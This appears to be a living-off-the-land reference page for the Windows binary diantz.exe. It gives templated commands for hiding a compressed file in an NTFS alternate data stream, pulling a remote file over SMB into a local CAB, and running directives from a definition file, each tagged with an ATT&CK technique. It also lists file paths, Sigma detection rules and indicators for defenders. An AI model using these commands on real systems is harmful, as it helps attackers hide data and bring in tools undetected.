01 / TRADECRAFT
3 examplesCommand reference
ADS1
EXAMPLE 01T1564.004
Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
COMMAND
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cabDownload1
EXAMPLE 01T1105
Download and compress a remote file and store it in a CAB file on local machine.
COMMAND
diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}Execute1
EXAMPLE 01T1036
Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
COMMAND
diantz /f {PATH:.ddf}02 / ON DISK
Known paths
c:\windows\system32\diantz.exec:\windows\syswow64\diantz.exe03 / DEFENSIVE INTELLIGENCE
2 resourcesDetection & indicators
- Sigmaproc_creation_win_lolbin_diantz_ads.ymlgithub.com
- Sigmaproc_creation_win_lolbin_diantz_remote_cab.ymlgithub.com
Indicators & detection notes
- IOC
diantz storing data into alternate data streams.
- IOC
diantz getting a file from a remote machine or the internet.
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Tamir Yehuda@tim8288
Hai Vaknin@vakninhai